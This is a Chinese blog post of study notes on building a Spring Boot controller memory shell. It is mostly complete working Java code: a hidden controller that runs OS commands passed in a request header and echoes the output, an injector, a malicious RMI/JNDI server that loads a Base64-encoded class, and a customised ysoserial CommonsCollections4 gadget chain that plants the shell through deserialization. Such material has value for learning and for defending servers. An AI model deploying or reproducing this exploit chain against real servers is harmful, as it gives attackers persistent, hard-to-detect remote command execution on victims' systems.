SpringBoot Controller 内存马 / yso定制
前言:学习spring系列controller内存马的笔记
参考文章:https://www.cnblogs.com/bitterz/p/14820898.html#11-fastjson反序列化和jndi
参考文章:https://www.anquanke.com/post/id/198886#h3-8
什么时候用到内存马
1、反序列化漏洞(有依赖可利用)
2、目标不出网
3、想要回显信息
controller内存马注入复现
可以看到成功打印了生成的控制器
访问:http://localhost:8080/asdasd?cmd=calc ,可以看到命令是执行成功了,弹出对应的calc
实现controller 内存马
url和Controller类的映射关系
跟tomcat的filter等对象类似,如果想要注入一个内存马,那么就需要找到注册controller控制器的关键过程,从而实现动态添加controller内存马。
我查阅的文档资料是:https://blog.csdn.net/Message_lx/article/details/107861905
这里直接在AbstractHandlerMethodMapping类中打上断点来进行调试
org/springframework/web/servlet/handler/AbstractHandlerMethodMapping.java
通过官方的注释可以看出来,这个类就是实现 一个request请求和需要调用哪个方法 之间映射关系的实现类
initHandlerMethods方法上打上断点,如下图所示,然后进行调试
对每个要注册的Bean来调用processCandidateBean方法
如何isHandler符合的话就会进入到该判断语句中调用detectHandlerMethods,这里来看下相关的isHandler方法,可以看到需要满足被标记的注解为Controller.class 或者是 RequestMapping.class 才可以
如果当前的Bean被注解为Controller.class 或者是 RequestMapping.class,那么就进入到detectHandlerMethods方法中
其中每次都会对当前的控制器中的方法将其作为参数,调用getMappingForMethod方法
这里需要注意了,MethodIntrospector.selectMethods中第二个参数是一个回调方法,该方法其中会调用这个getMappingForMethod是重点方法,它做了如下的步骤
1、通过createRequestMappingInfo方法以当前控制器下的method作为变量,创建了一个RequestMappingInfo的对象
2、通过createRequestMappingInfo方法以当前控制器下的handlerType作为参数,创建了一个RequestMappingInfo的对象
接着下面还有一段循环操作,如下图所示
其中的registerHandlerMethod方法,就会将一个控制器中所有的方法都注册到对应的mapping中
具体操作如下图,这个自己可以进行调试下
最后将其每个方法都注册到registry中
可以看到当前控制器有两个方法,这里会将两个方法都注册到registry中去
分析
这里重点就看RequestMappingInfo这个对象,上面的图中其实最后的步骤就是一个RequestMappingInfo对象,然后将其注册到当前spring的registry中去
那么RequestMappingInfo我们可以进行自定义,拿个对象来观察下其中的属性,可以看到重点的属性有
patternsCondition:对应的请求地址
handlerMethod:对应的请求方法
methodsCondition :对应的请求方式
{RequestMappingInfo@7102} "{POST [/upload]}" -> {AbstractHandlerMethodMapping$MappingRegistration@7183} key = {RequestMappingInfo@7102} "{POST [/upload]}" name = null pathPatternsCondition = null patternsCondition = {PatternsRequestCondition@7188} "[/upload]" methodsCondition = {RequestMethodsRequestCondition@7189} "[POST]" paramsCondition = {ParamsRequestCondition@7190} "[]" headersCondition = {HeadersRequestCondition@7191} "[]" consumesCondition = {ConsumesRequestCondition@7192} "[]" producesCondition = {ProducesRequestCondition@7193} "[]" customConditionHolder = {RequestConditionHolder@7194} "[]" hashCode = 1684276773 options = {RequestMappingInfo$BuilderConfiguration@6865} value = {AbstractHandlerMethodMapping$MappingRegistration@7183} mapping = {RequestMappingInfo@7102} "{POST [/upload]}" handlerMethod = {HandlerMethod@7129} "com.zpchcbd.controller.FormController#upload(String, String, MultipartFile, MultipartFile[])" directPaths = {HashSet@7137} size = 1 mappingName = "FC#upload" corsConfig = false
然后通过刚才的分析可以看到,主要进行注册的类是AbstractHandlerMethodMapping对象,其中就放置了我们要注册的对象RequestMappingInfo
所以这里需要找到这个对象,方法如下,可以直接在IOC容器中进行获取
// 1. 利用spring内部方法获取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 2. 从context中获得 RequestMappingHandlerMapping 的实例 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
最后理清下思路:
1、创建一个RequestMappingInfo对象,将对应实现的方法,请求地址等需要的信息都赋值到该对象中
2、然后通过IOC容器获取RequestMappingHandlerMapping(AbstractHandlerMethodMapping的实现类),调用RequestMappingHandlerMapping的registerMapping方法来进行对应的控制器和方法的绑定
这里有个问题我没研究过,就是在注册完RequestMappingHandlerMapping之后,为什么这个控制器就会自动生效?这个地方我不太懂
想法:可能是registerMapping调用完之后,相关的spring容器会将新的controller放置到IOC容器中,我自己是这么猜想的,但是没有代码验证。
最终实现的代码如下,测试版本springboot 2.5.6
控制器类
public class InjectToController { public InjectToController(){ } public void test() throws Exception { // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); // 获取cmd参数并执行命令 System.out.println(request.getParameter("cmd")); java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")); } }
注入方法
@ResponseBody @RequestMapping(value = "/inject", method = RequestMethod.GET) public String inject(){ try { // 1. 利用spring内部方法获取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 2. 从context中获得 RequestMappingHandlerMapping 的实例 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 3. 通过反射获得自定义 controller 中的 Method 对象 Method method = InjectToController.class.getMethod("test"); // 4. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/asdasd"); // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 6. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); InjectToController injectToController = new InjectToController(); mappingHandlerMapping.registerMapping(info, injectToController, method); return "inject ok..."; }catch (Exception ex) { return "inject fail..."; } }
模拟反序列化实现
这里用fastjson反序列化 jndi注入来进行模拟
自己模拟接口存在反序列化漏洞,如下图所示
@Controller public class SerializeController { /** * test fastjson jndi inject for memory shell. * */ @ResponseBody @RequestMapping(value = "fastjson_serialize", method = RequestMethod.POST) public String test01(@RequestBody String payload){ Object object2 = JSON.parse(payload); return object2.toString(); } }
内存马:
其中的SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa");
,我需要讲下为什么要这样写?
原因就是如果调用的还是默认的无参构造函数会导致递归调用,所以这里防止递归调用,就调用一个有参数的即可。
package com.zpchcbd.jndi.objectfactory.rmibypass; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestAttributes; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Method; public class SpringBootMemoryShellOfController extends AbstractTranslet { public SpringBootMemoryShellOfController() throws Exception{ // 1. 利用spring内部方法获取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 2. 从context中获得 RequestMappingHandlerMapping 的实例 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 3. 通过反射获得自定义 controller 中的 Method 对象 Method method = SpringBootMemoryShellOfController.class.getMethod("test"); // 4. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/asdasd"); // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 6. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa"); mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method); } public SpringBootMemoryShellOfController(String test){ } public void test() throws Exception{ // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); // 获取cmd参数并执行命令 String cmd = request.getHeader("zpchcbd"); if(cmd != null && !cmd.isEmpty()){ String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); response.getWriter().println(res); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
自己再起一个RMI服务
public class RMIReferenceServerTest { public static void main(String[] args) throws Exception{ System.out.println("Creating evil RMI registry on port 9527"); LocateRegistry.createRegistry(9527); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"replacement\")"; String replacement = payload.replace("replacement", injectMemshell(SpringEchoTemplate.class)); System.out.println(replacement); ref.add(new StringRefAddr("x", replacement)); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); Naming.bind("rmi://192.168.0.108:9527/AAAAAA", referenceWrapper); System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.0.108/AAAAAA"); } public static String injectMemshell(Class clazz){ String classCode = null; try{ classCode = Utils.getClassCode(clazz); }catch(Exception e){ e.printStackTrace(); } String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + "try{\n" + " var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" + " clazz.newInstance();\n" + "}catch(err){\n" + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + " method.setAccessible(true);\n" + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + " clazz.newInstance();\n" + "};"; return code; } }
然后访问 http://localhost:8081/asdasd ,header头为zpchcbd 命令为calc,如下图所示
controller的缺点
在对于存在相关的拦截器的时候,controller内存马就无法进行利用,原因就在于拦截器的调用顺序在controller之前,所以controller不能作为通用的内存马来进行使用。
定制化yso版本
public class SpringBootMemoryController extends AbstractTranslet { public SpringBootMemoryController() throws Exception{ // 1. 利用spring内部方法获取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 2. 从context中获得 RequestMappingHandlerMapping 的实例 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 3. 通过反射获得自定义 controller 中的 Method 对象 Method method = SpringBootMemoryController.class.getMethod("test"); // 4. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/asdasd"); // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 6. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); SpringBootMemoryController springBootMemoryShellOfController = new SpringBootMemoryController("aaaaaaa"); mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method); } public SpringBootMemoryController(String test){ } public void test() throws Exception{ // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); // 获取cmd参数并执行命令 String command = request.getHeader("zpchcbd"); if(command != null){ try { java.io.PrintWriter printWriter = response.getWriter(); String o = ""; ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command}); }else{ p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); printWriter.write(o); printWriter.flush(); printWriter.close(); }catch (Exception ignored){ } } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
这里用的是cc4生成的利用poc
public class CommonsCollections4_SpringbootMemoryController implements ObjectPayload<Queue<Object>> { public Queue<Object> getObject(final String ... command) throws Exception { Object templates = Gadgets.createTemplatesImpl(ysoserial.payloads.SpringBootMemoryController.class); ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer( paramTypes, args); // grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); // create queue with numbers PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain)); queue.add(1); queue.add(1); // swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections4_SpringbootMemoryController.class, args); } }
发送payload,同样成功进行注入内存马
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 自定义通信协议——实现零拷贝文件传输
· Brainfly: 用 C# 类型系统构建 Brainfuck 编译器
· 智能桌面机器人:用.NET IoT库控制舵机并多方法播放表情
· Linux glibc自带哈希表的用例及性能测试
· 深入理解 Mybatis 分库分表执行原理
· DeepSeek 全面指南,95% 的人都不知道的9个技巧(建议收藏)
· 自定义Ollama安装路径
· 本地部署DeepSeek
· 快速入门 DeepSeek-R1 大模型
· DeepSeekV3+Roo Code,智能编码好助手